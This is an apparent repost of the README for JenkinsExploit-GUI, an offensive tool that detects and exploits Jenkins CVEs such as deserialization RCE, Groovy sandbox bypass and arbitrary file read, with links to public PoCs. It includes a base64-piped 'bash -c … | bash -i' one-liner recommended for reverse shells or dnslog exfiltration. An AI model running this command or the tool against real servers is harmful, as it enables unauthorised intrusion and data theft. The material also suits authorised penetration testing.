一款Jenkins的综合漏洞利用工具-JenkinsExploit-GUI

一、使用

jdk版本
windows或linux使用jdk8的哪一个版本应该都可以,在macOS里需要jdk8u较高的版本,比如jdk8u321

二、外置payload

release下载windows_tools,linux_toolsmacOS_tools并放在与JenkinsExploit-GUI-*-SNAPSHOT.jar相同的目录,或者可以自行打包tools_source中的python源码文件

如果是linuxmacOS的话需要对外置payload进行chmod +x 赋予权限

在这里插入图片描述
在这里插入图片描述

三、dnslog配置

进行dnslog设置,目前仅支持dnslog.pwceye.io
在这里插入图片描述

四、进行检测

在这里插入图片描述
在验证无回显命令执行的时候为了避免转义问题,推荐用如下方式进行反弹shelldnslog外带信息

bash -c {echo,Y....}|{base64,-d}|{bash,-i}

五、支持检测

CVE-2015-8103/CVE-2016-0788 Jenkins 反序列化远程代码执行

https://github.com/Medicean/VulApps/tree/master/j/jenkins/1

CVE-2016-0792 Jenkins XStream反序列化远程代码执行

https://github.com/jpiechowka/jenkins-cve-2016-0792

CVE-2017-1000353 Jenkins-CI 远程代码执行漏洞

https://github.com/vulhub/CVE-2017-1000353

CVE-2018-1000600 Jenkins GitHub SSRF+信息泄露

CVE-2018-1000861 Jenkins 绕过Groovy沙盒未授权命令执行漏洞

https://github.com/orangetw/awesome-jenkins-rce-2019

CVE-2018-1999002 Jenkins 任意文件读取

https://mp.weixin.qq.com/s/MOKeN1qEBonS8bOLw6LH_w

CVE-2019-1003000 Jenkins 远程代码执行

https://github.com/adamyordan/cve-2019-1003000-jenkins-rce-poc

CVE-2019-1003005/CVE-2019-1003029 远程代码执行(Script Security Plugin沙箱绕过)

https://github.com/orangetw/awesome-jenkins-rce-2019

CVE-2024-23897 Jenkins CLI 接口任意文件读取漏洞

https://github.com/vulhub/vulhub/blob/master/jenkins/CVE-2024-23897

六、未完待续

CVE-2016-9299 Jenkins ldap反序列化远程代码执行,添加poc
CVE-2017-1000353 无法检测的bug
继续尝试把外置的payload接入到java代码中
添加批量检测功能

七、源码打包

mvn clean package -DskipTests
cd target
zip -d  JenkinsExploit-GUI-*-SNAPSHOT.jar 'META-INF/*.SF' 'META-INF/*.RSA' 'META-INF/*DSA'

八、项目地址

https://github.com/TheBeastofwar/JenkinsExploit-GUI
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/542008.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

fs模块 之 文件读取

fs 文件读取: 利用文件读取而不是直接打开文本查看的目的是为了实现自动化 读取文件的应用场景:电脑开机/程序运行/播放视频音乐/上传文件... 一、异步读取 (1)语法:fs.readFile(path,[options],callback); 以之前写的文件写…

idea maven 项目融合

背景 :项目A 和项目B 是两个独立的多模块项目,项目A 和项目B ,均为独立的数据源 。其中项目B 有两个数据原。 需要将项目B 以多模块的方式融合进项目A。 解决版本。建立项目C,只含有pom的,空项目,项目A和项…

C++_学习String

1.标准库中的string类 1. 字符串是表示字符序列的类 2. 标准的字符串类提供了对此类对象的支持,其接口类似于标准字符容器的接口,但添加了专门用于操作单字节字符字符串的设计特性 3. string 类是使用 char( 即作为它的字符类型,使用它的默…

MySQL—redo log、undo log以及MVCC

MySQL—redo log、undo log以及MVCC 首先回忆一下MySQL事务的四大特性:ACID,即原子性、一致性、隔离性和持久性。其中原子性、一致性、持久性实际上是由InnoDB中的两份日志保证的,一份是redo log日志,一份是undo log日志&#xff…

鸿蒙Harmony应用开发—ArkTS声明式开发(容器组件:List)

列表包含一系列相同宽度的列表项。适合连续、多行呈现同类数据,例如图片和文本。 说明: 该组件从API Version 7开始支持。后续版本如有新增内容,则采用上角标单独标记该内容的起始版本。该组件内容区小于一屏时,默认没有回弹效果。…

16.WEB渗透测试--Kali Linux(四)

免责声明:内容仅供学习参考,请合法利用知识,禁止进行违法犯罪活动! 内容参考于: 易锦网校会员专享课 上一个内容:15.WEB渗透测试--Kali Linux(三)-CSDN博客 1.crunch简介与使用 C…

构建通用机器人模型

构建通用机器人模型需要涉及到机器人的机械设计、控制系统设计以及相应的软件开发。这样的过程涉及到许多专业知识,包括机械工程、电子工程、计算机科学等。以下是一个简化的通用机器人模型构建过程: 定义机器人需求:首先,你需要…

【SRE系列之docker容器】--dockerfile镜像优化

dockerfile镜像优化 1.1 镜像优化方法 系统镜像采用ubuntu或者alpine,会比centos少1G左右编写业务镜像时从官网拉取镜像,其余配置根据业务需求再配置编写dockerfile时把不用的安装包卸载或者删除尽量减少run命令的使用(一个run命令&#xf…

C. Arrow Path

思路&#xff1a;可以bfs来写&#xff0c;也可以用思维来解 代码&#xff1a;思维代码 void solve(){cin >> n;for(int i 0;i < 2;i )cin >> s[i];for(int i 0;i < 2;i ){// cout << s[i] << endl;for(int j 0;j < n;j ){if(i 0){if(((…

《雷德斯东家》 第一话——火把花的回忆

引子 温馨提示:本系列小说为福瑞向! ------------------------------------------------------------------------------------------------------------------------- 作者 RedstoneCuberoot 地图 RedstoneCuberoot、梓元sama 审核 Brenda_fyx、RedstoneCuberoot Minecraft大…

SoloX - Android/iOS性能数据实时采集工具

文章目录 一、简介二、环境要求三、安装部署四、使用方法4.1 通过浏览器直接使用4.2 使用Python收集4.3 使用API收集 一、简介 SoloX是一个可以实时收集Android/iOS性能数据的web工具。 快速定位分析性能问题&#xff0c;提升应用的性能和品质。 无需ROOT/越狱&#xff0c;即插…

Python - 应用篇 :ChatGPT +Pycharm 序列号自动生成

前言&#xff1a; 客户要求在产品外壳上新增可追溯的二维码贴花&#xff0c;二维码信息内容如下&#xff1a; 编码格式&#xff1a;SBD 零部件代码 控制盒序列号 控制盒厂家 例如&#xff1a;[)>06P725-18428S24031410001ZJL SBD 零部件代码&#xff1a;[)>06P725-184…